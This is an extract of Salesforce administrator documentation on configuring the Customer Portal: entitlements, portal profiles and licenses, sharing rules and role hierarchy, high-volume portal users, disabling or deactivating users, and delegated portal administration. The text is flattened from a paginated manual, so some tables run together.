You can use the Customer Portal to provide your customers with access to their entitlements and service contracts. Contract line items don't display in the Customer Portal. After you have set up entitlement management and enabled a Customer Portal, complete the following steps to add entitlement management to your portals. 1. Update Customer Portal profiles: a. Clone Customer Portal profiles and enable the Read permission on entitlements or service contracts. b. Optionally, on the profiles of delegated Customer Portal user administrators, enable the Create and Delete permissions on entitlement contacts. This lets delegated portal user administrators update entitlement contacts. c. In the cloned profiles, verify that the tab visibility for the Entitlements or Service Contracts tabs are Default On. 2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profiles. 3. Customize case page layouts to add the Entitlement Name lookup field. This lets portal users add entitlements to cases. Tip: Don't add the following entitlement process fields to case page layouts for portal users because portal users shouldn't access information related to your internal support processes: Entitlement Process Start Time, Entitlement Process End Time, Stopped, and Stopped Since. 4. Optionally, customize related lists on accounts and contacts to add Entitlements. This lets delegated portal user administrators create cases automatically associated with the right entitlements. 5. Add the Entitlements or Service Contract tabs to each Customer Portal. 6. Assign the cloned profiles to your Customer Portal users: a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User. b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then select the profile. c. Click Save.

See Also:
Setting Up Your Customer Portal Entitlement Management Overview

1782

Customer Portal

About Customer Portal User Management

Customer Portal Setup Limits


Available in: Enterprise, Unlimited, and Developer Editions

Contact salesforce.com for information about the number of Customer Portals and Customer Portal user licenses you can activate. The maximum number of custom objects you can include in a Customer Portal is determined by the total number of custom objects your Edition allows. See Salesforce Editions and Limits on page 2182. Also, user licenses control the number of custom objects a portal user can see in a Customer Portal. For information, contact salesforce.com.

See Also:
Setting Up Your Customer Portal

About Customer Portal User Management


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Customer Portal users: To manage profiles and permission sets: To create, edit, and delete page layouts: To set field-level security: To set sharing rules: Edit Self-Service Users Manage Users Customize Application Customize Application Manage Users

Managing Customer Portal users is similar to managing regular Salesforce users. General user administration concepts like profiles and page layouts still apply. Review the following advice for managing Customer Portal users: Customer Portal Profiles Customer Portal Sharing Rules Customer Portal Role Hierarchy Customer Portal User Licenses Note: High-volume portal users (Service Cloud portal users) include both the High Volume Customer Portal and Authenticated Website license types.

1783

Customer Portal

About Customer Portal User Management

Customer Portal Profiles


The profiles you assign to Customer Portal users define permissions for them to perform different functions within a Customer Portal, such as whether they can view, create, edit, or delete cases and custom object records. When you enable a Customer Portal, the following profiles are automatically created if you purchased user licenses for them: High Volume Customer Portal Authenticated Website Customer Portal User Customer Portal Manager

The settings on Customer Portal profiles are similar. However, you can grant users with the Customer Portal Manager profile greater access to data via the Customer Portal role hierarchy and sharing rules (neither of which apply to high-volume portal users). You can also clone and customize each profile to suit the various support requirements of specific customers. You can also use permission sets to grant additional permissions and access settings to Customer Portal users. Depending on the user licenses you purchased, you can configure Customer Portal profiles for custom object, Salesforce CRM Content, reporting, and customer support functionality, such as cases and solutions.

Customer Portal Sharing Rules


After you enable a Customer Portal, the following groups and sharing rule category are created: Groups and Sharing Rule Category All Customer Portal Users group All Internal Users group Roles and Internal Subordinates sharing rule category Description Contains all Customer Portal users, except for high-volume portal users. Contains all Salesforce users in your organization. Lets you create sharing rules with specific Salesforce users in your organization by role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles. Because high-volume portal users don't have roles, they aren't included in this or any other sharing rule category.

You can use these groups and the sharing rule category to create sharing rules that: Grant Customer Portal or Salesforce users access to specific data (except for high-volume portal users, because you can't include them in any groups or sharing rules) Link Customer Portal users and Salesforce users Link Customer Portal users from different accounts as long as they have the Customer Portal Manager user license

Customer Portal Role Hierarchy


When you enable a Customer Portal on an account, the system creates a role hierarchy for the account's portal users. The portal roles are unique for each account and include the account's name. For example, Account A Customer User. In your organization's overall role hierarchy, this account-specific hierarchy is directly below the account owner. The roles in a portal role hierarchy are fixed. You cannot customize them or add new ones. They are: Executivefor contacts Managerfor contacts Userfor contacts

1784

Customer Portal

About Customer Portal User Management

Person Accountfor person accounts Note: All users in a customer portal role (Executive, Manager, and User roles) have read access to all contacts under their portal account even when the contact sharing model is private.

As you enable customers as Customer Portal users, the system automatically assigns roles based on the user license. Person accounts always have the Person Account role. Contacts with the High Volume Customer Portal or Authenticated Website license do not have a role. If access to contacts are set to private, high-volume portal users only have access to their own contact and those they are granted access to. Role hierarchies ensure that portal users from different accounts never see each other's data. Even though high-volume portal users aren't included in role hierarchies, they're restricted from seeing records that aren't associated with their account or contact, and they can only see objects to which they've been granted access. You can, however, create sharing rules so that users with the Customer Portal Manager license from different accounts can see each other's data. Accounts with different portal typesCustomer Portal and partner portalhave a separate role hierarchy for each portal. Role names include the portal type with which they are associated. For example, if Account A has both a Customer Portal and a partner portal, then roles for the Customer Portal are named Account A Customer User and roles for the partner portal are named Account A Partner User. To view the roles assigned to your Customer Portal users, create a custom report, choose Administrative Reports, select Users as the data type, and add Role to your report columns. Note that you can't report on roles for high-volume portal users because they don't have roles. See Administrative Reports on page 3109. Note: You cannot create a Customer Portal user associated with an account owned by a partner user.

Customer Portal User Licenses


A user license entitles a user to different functionality within Salesforce and determines which profiles and permission sets are available to the user. You can assign the following user licenses to Customer Portal users: High Volume Customer Portal Authenticated Website Customer Portal Manager Custom Customer Portal Manager Standard (not available for new customers)

These user licenses determine the available Customer Portal profiles. They also determine users' positions in the Customer Portal role hierarchy. The following table shows the Customer Portal user licenses with their associated profiles and positions in the Customer Portal role hierarchy. User License High Volume Customer Portal (Service Cloud Portal ) and Authenticated Website Profiles Roles and Sharing

High Volume Customer Portal High-volume portal users don't have roles. See About or Authenticated Website High-Volume Portal Users (Service Cloud Portal Users) profile, or a profile cloned and on page 1789. customized from one of these. Can't share but can transfer records they own. Can't transfer cases from non-high-volume portal users to them.

1785

Customer Portal

About Customer Portal User Management

User License Both user licenses are high-volume portal users (Available to purchase)

Profiles

Roles and Sharing Can't include in: Personal groups or public groups. Sharing rules. Account teams, opportunity teams, or case teams. Salesforce CRM Content libraries.

Can access custom objects depending on profile settings. Customer Portal Manager Custom (Available to purchase) Customer Portal Manager Can assign to either the Executive, Manager, or User role. profile or a profile cloned and Can view and edit data they directly own or data owned customized from the Customer by or shared with users below them in the Customer Portal Manager profile. Portal role hierarchy; and they can view and edit cases where they are listed in the Contact Name field. Can have data shared to them just like other Salesforce users. Can access custom objects depending on profile settings. Can access reports depending on profile settings. Can access Salesforce CRM Content depending on feature license and profile settings. See Enabling Salesforce CRM Content in the Customer Portal on page 1777. Can receive the Portal Super User and Delegated Portal User Administrator permissions. Customer Portal Manager Standard Customer Portal User profile or Can only assign to either the Executive, Manager, or User a profile cloned and customized role. from the Customer Portal User Can view and edit data they directly own or data owned profile. by or shared with users below them in the Customer Portal role hierarchy; and they can view and edit cases where they are listed in the Contact Name field. Can have data shared to them just like other Salesforce users. Can access custom objects depending on profile settings. Can receive the Portal Super User permission. Can access Salesforce CRM Content depending on feature license and profile settings. See Enabling Salesforce CRM Content in the Customer Portal on page 1777. Note: This license is not available for new customers.

1786

Customer Portal

About Customer Portal User Management

Tip: For more information on license types, such as Content, Ideas, Answers, and Knowledge, see Understanding User License Types on page 610. Note: Person accounts enabled as Customer Portal users are automatically assigned the Person Account role, which you cannot change. Person accounts are automatically assigned to this role because they include a single user, so multiple roles are not necessary for their account. Furthermore, all person accounts owned by the same user are assigned the same role.

See Also:
Working with Customer Portal Users Setting Up Your Customer Portal What is a Person Account? Configuring Multilingual HTML Messages Delegating Customer Portal User Administration and Portal Super User Administrator setup guide: Salesforce Customer Portal Implementation Guide

Configuring User Access to the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up the Customer Portal: To manage Customer Portal users: To create, edit, and delete profiles: To set default sharing access: To set sharing rules: To enable Customer Portal users: Customize Application Edit Self-Service Users Manage Users Manage Users Manage Users Edit Self-Service Users OR Manage Users

When setting up a Salesforce Customer Portal for the first time, configure the following before enabling users to access your portal: 1. Set up your portal as described in Setting Up Your Customer Portal. 2. Assign Customer Portal profiles to a portal: a. Select the name of a portal from the Customer Portal Setup page. b. Click Edit Profiles in the Assigned Profiles section. c. Select the Active checkbox next to the profile you want to assign to the portal.

1787

Customer Portal

About Customer Portal User Management

Portal users can only log into Customer Portals assigned to their profile. If you are creating multiple portals, you must assign profiles to each portal you want users to access. 3. Set the organization-wide defaults in your organization's sharing model to Private on accounts, contacts, contracts, assets, and cases. This ensures that portal users can only view and edit data related to their accounts. For more information, see Setting Your Organization-Wide Sharing Defaults on page 634. Tip: To maintain Public organization-wide default behavior for Salesforce users, while ensuring that portal users can only view and edit data related to their accounts, you can create self-referencing sharing rules of All Internal Users to All Internal Users. For more information, see Sharing Rules Overview on page 646. 4. Optionally, set sharing rules for portal users (with the exception of high-volume portal users). This lets you share records between portal users and Salesforce users or vice-versa. See Sharing Rules Overview on page 646. Note: If your organization uses sharing rules that share to Roles, Internal and Portal Subordinates, then update those sharing rules to share to Roles and Internal Subordinates instead. This is to help ensure that no records owned by a Salesforce user are accidentally shared with a portal user. The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles. You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal users. 5. Verify that portal users are not added to any queues and are not included in any public groups added to queues. This is because portal users added to queues may be able to access records from accounts to which they are not related. For more information, see Viewing and Editing Queues on page 606 and About Groups on page 597. 6. Optionally, add the Welcome component to home page layouts assigned to portal users. The Welcome component allows portal users to receive a welcome message with their name, plus the ability to change their own portal username, password, locale, language, time zone, and contact information. For details, see Setup Tips and Considerations for Customer Portal Pages on page 1771. 7. Optionally, allow contacts to register themselves for access to your portal. See Enabling Customer Portal Login and Settings on page 1758.

See Also:
About Customer Portal User Management Configuring Multilingual HTML Messages Administrator setup guide: Salesforce Customer Portal Implementation Guide Enabling Salesforce CRM Content in the Customer Portal Working with Customer Portal Users

1788

Customer Portal

About Customer Portal User Management

About High-Volume Portal Users (Service Cloud Portal Users)


Available in: Enterprise, Unlimited, and Developer Editions

High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates performance issues associated with role hierarchy calculations. High-volume portal users include both the High Volume Customer Portal and Authenticated Website license types. Characteristics High-volume portal users: Are contacts enabled to access a Customer Portal. Are assigned to the High Volume Customer Portal or Authenticated Website license. Only share the records they own with Salesforce users in the high-volume portal users sharing group.

Access to Records High-volume portal users can access records if any of the following conditions are met: They have Update access on the Account that they belong to. They own the record. They can access a record's parent, and the organization-wide sharing setting for that record is Controlled by Parent. The organization-wide sharing setting for the object is Public Read Only or Public Read/Write. The record is the account or contact under which they are enabled.

Administrators can create sharing sets to grant high-volume portal users additional access to records; see Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records on page 1790. Limitations High-volume portal users can't manually share records they own or have access to. You can't transfer cases from non-high-volume portal users to high-volume portal users. High-volume portal users can't own accounts. You can't add case teams to cases owned by high-volume portal users. You can't include high-volume portal users in: Personal groups or public groups. Sharing rules. Account teams, opportunity teams, or case teams. Salesforce CRM Content libraries.

These limitations also apply to records owned by high-volume portal users. You can't assign high-volume portal users to territories.

See Also:
Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

1789

Customer Portal

About Customer Portal User Management

Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To grant high-volume portal users access to records: Customize Application

You can create sharing sets to grant high-volume portal users (Service Cloud portal users) access to records based on their profiles. A sharing set allows high-volume portal users to access any record that has a lookup field to an account or contact that matches the user's account or contact. 1. Click Your Name > Setup > Customize > Customer Portal > Settings. 2. In the Sharing Settings for High-Volume Portal Users related list, click New to create a sharing set, or click Edit next to an existing sharing set. 3. In the Sharing Set Edit page, enter a name and description. 4. Select the profiles of the users you want to have access. 5. Select the objects you want to grant access to. The Available Objects list excludes: Objects with an organization-wide sharing setting of Public Read/Write Custom objects that aren't specified as available for Customer Portal Custom objects that don't have an account or contact lookup field

6. In the Configure Access section, click Set Up or Edit next to an object name to configure access for the selected profiles, or click Del to remove access settings for an object. Note: Objects with Set Up in the Action column aren't configured for high-volume portal user access. Until you configure an object, high-volume portal users have limited or no access to its records. For more information on access, see About High-Volume Portal Users (Service Cloud Portal Users) on page 1789. 7. Grant access based on an account or contact lookup: Select All records where the high-volume portal user's account matches to give high-volume portal users access to all records associated with their accounts. For example, choosing this option for cases would give users access to all cases associated with their accounts. Select Only records where the high-volume portal user's contact matches to give high-volume portal users access only to the records that are associated with their contacts. For example, choosing this option for cases would give users access only to the cases that they filed, or cases that were filed on their behalf by a support representative. Note: One of these options may be unavailable if the object doesn't contain the relevant fields.

8. Choose an access level of Read Only or Read/Write. (If the object's organization-wide sharing setting is Public Read Only, then only Read/Write is available.) 9. Click Update, then click Save.

1790

Customer Portal

About Customer Portal User Management

Your settings apply to all of your organization's Customer Portals or sites.

See Also:
Viewing Sharing Sets for High-Volume Portal Users (Service Cloud Portal Users) Working with Customer Portal Users Viewing Sharing Sets for High-Volume Portal Users (Service Cloud Portal Users) Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To grant high-volume portal users access to records: Customize Application

Administrators can create sharing sets to grant high-volume portal users (Service Cloud portal users) access to objects based on their profiles. To view detailed information about a sharing set: 1. Click Your Name > Setup > Customize > Customer Portal > Settings. 2. In the Sharing Settings for High-Volume Portal Users related list, click the name of a sharing set. The Sharing Set detail page shows the profiles included and the access granted to objects in the set. On this page, you can do any of the following: To edit the sharing set, click Edit. To remove the sharing set, click Delete. To view the details of an included profile, click its name. To change or remove access settings for an object, click the Edit or Del link next to the object name.

See Also:
About High-Volume Portal Users (Service Cloud Portal Users) Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

1791

Customer Portal

About Customer Portal User Management

Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To share records owned by high-volume portal users to Salesforce users: Customize Application

High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates performance issues associated with role hierarchy calculations. Because high-volume portal users are not in the role hierarchy while Salesforce users are, a share group allows you to specify the Salesforce users who can access records owned by high-volume portal users. Each Customer Portal has its own share group. To specify the Salesforce users who can access records owned by high-volume portal users: 1. 2. 3. 4. Click Your Name > Setup > Customize > Customer Portal > Settings. Click the name of a Customer Portal. Click the Share Group Settings subtab. Click Activate to turn on the share group. Activating the share group can take a while. An email is sent to you when the process finishes. Note: Deactivating a share group removes all Salesforce users' access to records owned by high-volume portal users. An email isn't sent to you when the deactivation process finishes. 5. Click Edit to add Salesforce users to the share group: a. b. c. d. From the Search drop-down list, select the type of member to add. If you don't see the member you want to add, enter keywords in the search box and click Find. Select members from the Available Members box, and click Add to add them to the group. Click Save.

See Also:
About High-Volume Portal Users (Service Cloud Portal Users) Working with Customer Portal Users About Customer Portal User Management Configuring User Access to the Customer Portal

1792

Customer Portal

Working with Customer Portal Users

Roles Per Customer Portal Account


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set the number of roles per portal account: Customize Application

You can set the default number of roles for Customer Portal accounts. This benefits your customer portal by reducing the number of unused roles for Customer Portal accounts. You must have a Customer Portal enabled to use this functionality. For example, if you currently have three roles created when an account is enabled for your Customer Portal, but only need one role for new accounts, you can reduce the number of roles to one. You can set up to three roles for Customer Portal accounts. The default number of roles for Customer Portal accounts is three. To set the number of roles per Customer Portal account: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Customer Portal > Settings. Click Set number of roles per Portal Account. Click Edit. In the Number of Roles drop-down list, set your default number of roles per Customer Portal account. Click Save.

The number of roles for existing portal accounts doesn't change with this setting.

Working with Customer Portal Users


Available in: Enterprise, Unlimited, and Developer Editions

Note: The Service Cloud Portal is the Customer Portal intended for many thousands to millions of users. Service Cloud portal users are also referred to as high-volume portal users. See About High-Volume Portal Users (Service Cloud Portal Users) on page 1789. Some common tasks when managing Customer Portal users include: Setting up the Customer Portal for users Enabling Customer Portal users individually from the Contacts tab Disabling and deactivating Customer Portal users Changing Customer Portal users' information and roles Changing Customer Portal users' accounts Merging Customer Portal users Resetting Customer Portal users' passwords Viewing Customer Portal users' user licenses Granting high-volume portal users access to object's records

1793

Customer Portal

Working with Customer Portal Users

Sharing high-volume portal users' records with Salesforce users Managing Customer Portal users' permissions and access settings Assigning profiles to a Customer Portal Delegating Customer Portal user management and case and contact management to portal users Reporting on Customer Portal users Tip: To troubleshoot issues for Customer Portal users, click Work with Portal and choose Login As Portal User on the portal user's contact detail page. This selection opens a new browser window and automatically logs you into the portal as the portal user. This option also ensures that the portal is configured appropriately. The Login As Portal User button is only available if you have the Edit Self-Service Users permission and Edit access on the account. The Login As Portal User button does not display for inactive portal users.

See Also:
About Customer Portal User Management Configuring User Access to the Customer Portal About High-Volume Portal Users (Service Cloud Portal Users) Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

Editing Customer Portal User Information


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Customer Portal users: To manage profiles and permission sets: To create, edit, and delete page layouts: To set field-level security: To set sharing rules: Edit Self-Service Users Manage Users Customize Application Customize Application Manage Users

You can edit Salesforce Customer Portal user information for contacts associated with accounts you have permission to access. To edit information for a Customer Portal user: 1. Click Your Name > Setup > Manage Users > Users. 2. Click Edit next to a users name. 3. Change the necessary information and click Save. Tips for Editing Customer Portal User Information Consider the following when editing Customer Portal user information:

1794

Customer Portal

Working with Customer Portal Users

You can create a custom list view to display only Customer Portal users by filtering on the Customer Portal Manager license type, Customer Portal User license type, or both. For example, use the criteria License Type equals Customer Portal User, Customer Portal Manager. When generating a new password for a user, the new password is automatically sent to the users email address and email verification is not enforced. You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own portal username, password, locale, language, time zone, and contact information. When portal users change information about themselves their user record is updated but their contact record is not automatically updated with those changes.

See Also:
About Customer Portal User Management Disabling and Deactivating Portal Users

Disabling and Deactivating Portal Users


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed To disable or deactivate Customer Portal users: Edit on the account associated with the Customer Portal user AND Edit Self-Service Users To disable or deactivate partner portal users: Edit on the account associated with the partner portal user AND Manage Partners

There are two ways in which you can remove a customer's access to your Salesforce Customer Portal or partner portal. As described in detail below, disabling a portal user is permanent, while deactivating a portal user is not: Disabling a portal user Disabling a portal user includes the following actions: Termination of the user's access to your portal Removal from all groups, teams, and sharing rules with which the user is associated. Permanent loss of the portal user's association with the contact If you later re-enable a contact for portal access, a new portal user is created that is not related to the previous portal user record in any way.

1795

Customer Portal

Working with Customer Portal Users

For partner users, the partner user role becomes obsolete. As a result: The users data no longer rolls up to the partner account owner role Opportunities owned by that user are removed from your organization's forecast hierarchy Note: Before disabling a partner user, we recommend transferring opportunities owned by that user to an active user.

We recommend disabling a portal user if: A contact was accidentally enabled as a portal user The portal user is associated with a duplicate contact You do not want a contact to access the portal in the future Note: You can't disable high-volume portal users. Salesforce doesn't delete user records, including portal user records. While you can't re-enable a disabled portal user, you can view and update the record for a disabled user by clicking Your Name > Setup > Manage Users > Users.

Deactivating a portal user Deactivating a portal user prevents that user from logging into your portal and gives you the option to remove the user from any teams in which he or she is a member (for example, case teams and account teams). When you deactivate a portal user, the portal user record does not permanently lose its association with the contact. You can reactivate the portal user at any time. Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove the portal user from any teams that user is a member of.

We recommend deactivating a portal user if you may reactivate the portal user in the future. If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case Access) and is deactivated, the access will default to Read Only if the user is reactivated. Disabling a Portal User To disable a portal user: 1. On the contact detail page, click Work with Portal and choose either Disable Customer Portal User or Disable Partner User. On the account detail page of a person account, click Work with Portal and choose Disable Customer Portal Account. Person accounts are not available for the partner portal. 2. Click OK.

1796

Customer Portal

Working with Customer Portal Users

Deactivating a Portal User To deactivate a portal user: 1. For the Customer Portal, click Work with Portal and choose View Customer Portal User on the contact or person account detail page. For the partner portal, click Work with Portal and choose View Partner User on the contact detail page. Person accounts are not available for the partner portal. 2. Click Edit, and deselect the Active checkbox. To reactivate a portal user at any time, select the Active checkbox. 3. Click Save. Tips on Disabling and Deactivating Portal Users Consider the following when disabling or deactivating portal users (disabling is permanent; deactivating is not): You can't delete an active portal user; you can only disable or deactivate his or her access to the portal. The following table describes whether you can delete contacts that are associated with portal users: State of Portal User Associated to Contact Active portal user Inactive portal user Disabled portal user Can You Delete the Contact? No. This is to ensure that the contact is available if you choose to reactivate the portal user. No. This is to ensure that the contact is available if you choose to reactivate the portal user. Yes. Deleted contacts are sent to the Recycle Bin.

To delete a portal-enabled contact, first disable the portal user, then delete the contact. Cases associated with a portal user are not updated in any way when you disable or deactivate the portal user. For example, if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated with a new owner. Before you disable a partner user, we recommend that you transfer any opportunities owned by the user to another user who will remain active. This is because when you disable a partner user, any opportunities he or she owns are removed from your organization's forecast hierarchy (the partner user's role becomes obsolete). After you disable a portal user, it may take Salesforce up to ten seconds to disable the user. During that time, a portal user may still perform actions on a portal. You can remove the Disable Customer Portal and Disable Partner User buttons from contact page layouts at any time. Doing so would prevent users with the Edit Self-Service Users or Manage Partners permissions from disabling portal users. A disabled or deactivated portal user does not count against your organization's available user licenses. However, disabling or deactivating a portal user does not reduce the number of licenses for which your organization is billed; you must change your organization's license count to change your billing. See Adding or Subtracting User Licenses on page 3723. To disable all portal users associated with an account and permanently delete all of the account's portal roles and groups: Click Work with Portal and choose Disable Partner Account on a partner portal account. Click Work with Portal and choose Disable Customer Portal Account on a Customer Portal account or Customer Portal person account. You can remove the Disable Customer Portal Account and Disable Partner Account buttons from account page layouts at any time. Doing so would prevent users with the Edit Self-Service Users or Manage Partners permissions from disabling portal accounts.

1797

Customer Portal

Working with Customer Portal Users

When you disable a portal user or portal account, the change is tracked in the setup audit trail. Portal roles are not removed from disabled portal users associated with person accounts. However, you can remove the portal roles manually: 1. 2. 3. 4. 5. Click Your Name > Setup > Manage Users > Users. Select the name of a disabled portal user. Click Edit. Select None from the Role drop-down list. Click Save.

See Also:
Creating Partner Users Enabling the Customer Portal for Contacts and Person Accounts

Resetting Customer Portal User Passwords


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To reset Customer Portal users' passwords: Edit Self-Service Users

If a Salesforce Customer Portal user loses his or her password, the user can click the Forgot your password? link on the Customer Portal login page to have a new password emailed to him or her. To reset a Customer Portal user's password: 1. Click Your Name > Setup > Manage Users > Users. 2. Select the checkbox next to the users name. Optionally, to change the passwords for all currently displayed users, check the box in the column header to select all rows. 3. Click Reset Password to have a new password emailed to the user. Tip: You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users. Each Customer Portal user who logs in to your portal receives a welcome message with his or her name. The users can also change their own portal username, password, locale, language, time zone, and contact information. When portal users change information about themselves their user records are updated but their contact records arent automatically updated with those changes. For more information about defining home page components and assigning home page layouts, see Customizing Home Tab Page Layouts on page 1334.

See Also:
About Customer Portal User Management

1798

Customer Portal

Working with Customer Portal Users

Delegating Customer Portal User Administration and Portal Super User


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage Customer Portal users: To create, edit, and delete profiles: To view and edit all cases and contacts for an account: Delegated Portal User Administrator Manage Users Portal Super User

You can delegate some administrative rights to Customer Portal users with the Customer Portal Manager Custom user license. Delegated Customer Portal user administrators can do the following for users associated with their own account: Create new Customer Portal users Edit existing Customer Portal users Reset passwords for Customer Portal users Deactivate existing Customer Portal users Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove the portal user from any teams that user is a member of.

Delegated Customer Portal user administrators can also view their account's detail page, along with contacts and cases related to their account via the Accounts tab. In addition, delegated Customer Portal user administrators receive the Portal Super User permission. This permission lets delegated Customer Portal user administrators do the following for their own account: View and edit all cases Create cases for contacts View and edit all contacts, whether portal enabled or not View account details when they're the contact on a case Report on all contacts, whether portal enabled or not, if the Reports tab is added to your Customer Portal and the user has the Run Reports permission

You can add just the Portal Super User permission to the profiles of portal users (except for high-volume portal users) so that they have access to their account and can view and edit all of its cases and contacts without having the ability to manage other portal users. However, portal super users can't view the Contacts tab on the Customer Portal without the Delegated Portal User Administrator permission. To edit contacts, portal super users must select a contact from a case record. For more information, see: Delegating Customer Portal User Administration Rights Providing Users with the Portal Super User Permission Tips on Setting Up Delegated Customer Portal User Administration

1799

Customer Portal

Working with Customer Portal Users

Delegating Customer Portal User Administration Rights Note: You must use the original profile user interface to delegate administration rights for Customer Portal users. If you're using the enhanced profile user interface, disable it temporarily in the User Interface settings to complete this procedure. To delegate Customer Portal User Administration Rights: 1. Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile. You can't add delegation rights or the Portal Super User permission to the standard Customer Portal Manager, Customer Portal User, or High Volume Customer Portal profiles. 2. Click Edit. 3. Select Delegated Portal User Administrator. When you select Delegated Portal User Administrator, the Portal Super User is automatically selected after you click Save. 4. 5. 6. 7. Click Save. In the Delegated Portal Profiles related list, click Edit. Select the Customer Portal profiles you want users with this profile to be able to administer. Click Save.

To change which profiles a delegated Customer Portal user administrator can edit: 1. 2. 3. 4. Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile. Click Edit in the Delegated Portal User Profiles related list. Select the Customer Portal user profiles you want this profile to be able to administer. Click Save.

Delegated Customer Portal administrators can perform the following tasks from a contact's detail page: Click Enable Customer Portal User to allow a contact to use a Customer Portal. Click View Customer Portal User to view the Customer Portal user's details. From a Customer Portal user's detail page, delegated Customer Portal users can: Click Edit to edit a Customer Portal user's details. Click Reset Password to reset the Customer Portal user's password. Click Edit and deselect the Active checkbox to deactivate the user. Providing Users with the Portal Super User Permission To provide users with the Portal Super User permission: 1. Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile. You can't add the Portal Super User permission to the standard Customer Portal Manager, Customer Portal User, or High Volume Customer Portal profiles. 2. Click Edit. 3. Select Portal Super User. 4. Click Save. Tip: To report on profiles with the Portal Super User permission: 1. Note the names of profiles with the Portal Super User permission. 2. Select the Reports tab.

1800

Customer Portal

Working with Customer Portal Users

3. From the Administrative Reports folder, select the All Active Users report. For more information, see Administrative Reports on page 3109.

Tips on Setting Up Delegated Customer Portal User Administration Consider the following when setting up delegated Customer Portal User Administration: On the profile of users you are granting delegated portal administration: Add the Create and Edit permissions on contacts so that delegated portal administrators and users with the Portal Super User permission can create and update contacts related to their account. Set the Accounts and Contacts tab settings to Default On so that delegated portal administrators can view the Accounts and Contacts tabs and easily manage contacts related to their accounts. For more information on working with profiles, see User Profiles Overview on page 525. Add the Accounts and Contacts tabs to your Customer Portal. See Customizing Your Customer Portal Tabs on page 1768. Set field-level security and page layouts so that delegated Customer Portal user administrators and portal super users can only access the account, contact, and case fields you specify. See Field-Level Security Overview on page 671 and Managing Page Layouts on page 1309. Note: To allow portal super users to create cases for contacts other than themselves, set the field-level security on the Contact Name field on cases to Editable. Customer Portal users are prevented from viewing related lists to objects they don't have access to. For example, if a Customer Portal user views a contact, and the contact page layout includes the Opportunities related list, the portal user can't view the Opportunities related list because portal users don't have access to opportunities. Delegated Customer Portal user administrators can update portal users on any account to which they are transferred. You can set account sharing rules to extend delegated Customer Portal user administrators' access beyond their own accounts. See Sharing Rules Overview on page 646.

See Also:
About Customer Portal User Management

1801

BUILDING AND EXTENDING APPS

App Setup Overview


The available setup options vary according to which Salesforce Edition you have.

The App Setup page, accessed by clicking Your Name > Setup > App Setup, contains options to customize Salesforce, and build, deploy, and manage applications. The sidebar includes tools for browsing and searching setup options. Customize Customize the standard tabs and types of records, including adding custom fields and setting page layouts. You can also customize search, tagging, and user interface options for your organization. Create Use point-and-click tools to customize Salesforce and build your own applications to meet the needs of your business. These tools do not require any programming knowledge. Develop Use Salesforce development tools to customize Salesforce and build your own applications. These tools may require some programming knowledge. Deploy Monitor the deployments of setup configuration from Force.com IDE, Force.com Migration Tool, and other clients. Note: Force.com IDE is a resource provided by salesforce.com to support its users and partners, but is not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.

Schema Builder Schema builder provides a drag-and-drop interface that lets you add new custom objects, fields, and relationships to your schema. Installed Packages View and manage the packages that have been installed from AppExchange. AppExchange Marketplace on page 2335 Browse and search AppExchange. Critical Updates Control when critical updates are enabled in your organization.

1802

Create

App Builder Tools Overview

CREATE
App Builder Tools Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

